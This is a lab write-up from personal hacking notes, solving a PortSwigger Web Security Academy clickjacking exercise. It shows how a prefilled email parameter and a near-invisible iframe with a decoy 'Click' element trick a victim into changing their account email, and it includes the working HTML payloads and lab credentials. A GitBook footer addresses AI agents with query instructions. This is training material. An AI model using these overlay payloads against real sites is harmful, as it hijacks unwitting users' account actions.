> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# Clickjacking with Prefilled Form Fields via URL Parameter

Clickjacking with Prefilled Form Fields via URL Parameter notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation cont

### Clickjacking with Form Input Data Prefilled from a URL Parameter

Change a user's email address by taking advantage of a form on the account page that accepts a `email` parameter in the URL. The attack consists of displaying the targeted page in a `iframe` (nearly invisible) and encouraging the victim to click on a fake element 的Click me The lab is resolved when the account email has been changed.

#### Credentials Provided

* User: `wiener`
* Password: `peter`
* The account management page uses a CSRF token, but this token is processed on the same page — it does not prevent an update if the form is submitted from inside the `iframe` loaded from the target domain.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef816e4ceda4d28755a5adfbf9307bd41e5a8036%2Fimage%20(363).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4301a93129e0233fa93bb393f70a4f2d7eda81fd%2Fimage%20(364).png?alt=media" alt=""><figcaption></figcaption></figure>

* It is possible to pre-fill the email field by passing `?email=<valeur>` in the URL of the `/my-account` page. Example: `?email=jordan@test.com`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8e0e6a08d711aa6af4b959cba963163b7865647%2Fimage%20(365).png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf694f8d0cf5aae5215b2e66eb2d820a2d1ff235%2Fimage%20(366).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Load the Vulnerable Account Page in a `iframe` by adding the `email` parameter with the address you want to impose.
2. Make the `iframe` almost invisible (low opacity or positioning) so as to overlay a trigger element visible on the attack page.
3. Place a false "Click" button / label that the victim will click, and that spatially matches the real "Update Email" button in `iframe`.
4. When the victim clicks, the click is actually passed to the form button in `iframe` and submits the form with the pre-filled e-mail.

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>Click</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ac7c6d85d6810263cf4b47464b7024f042a9c0d%2Fimage%20(367).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.